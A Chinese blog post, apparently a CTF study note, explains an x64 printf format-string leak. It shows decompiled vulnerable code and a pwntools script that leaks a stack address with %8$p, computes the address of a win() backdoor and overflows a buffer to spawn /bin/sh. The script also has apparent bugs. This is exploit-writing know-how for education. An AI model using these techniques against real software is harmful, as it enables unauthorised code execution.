pwn学习资料整理——x64中的printf回显漏洞

利用printf打印栈中内容

B站上有讲解有关printf回显栈数据的课程,但都是以x86为例,这次做题遇到x64架构下的相关漏洞,故做本次记录。

IDA伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-30h] BYREF
  char buf[16]; // [rsp+20h] [rbp-10h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("What's your name?");
  read(0, buf, 5uLL);
  buf[5] = 0;
  printf("Hello ");
  printf(buf);
  read(0, v4, 0x40uLL);
  return 0;
}
...
// 0x900
int win()
{
  return system("/bin/sh");
}

思路

利用printf回显得到偏移地址,在通过后门地址得到shell

过程

利用gdb查看printf处,查看栈中情况,根据esp位置计算得到我们想要的参数是第几个参数,但x64中参数位置计算有所区别。
在这里插入图片描述
上图可知,我们想要得到的0x55555555549f0距离rsp2个位置,但实际上我们需要填写的参数为%8$p来打印栈中该地址内容。
经大佬告知,64位程序传参顺序是前6个分别用rdi,rsi,rdx,rcx.r8,r9,故0x55555555549f0为第8个参数。

exp

from pwn import *
context.log_level='debug'
p=process('./pwn')
p.recvline("What's your name?")
p.sendline('%8$p')
base_main_addr = p.recvline()
win_addr = base_main_addr[-12:-3] + '900'
real_sys=hex(int(win_addr, 16))
payload='a'*0x30 + 'b'*8 + p64(real_sys)
p.sendline(payload)
p.interactive()

题目下载地址

pwn

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值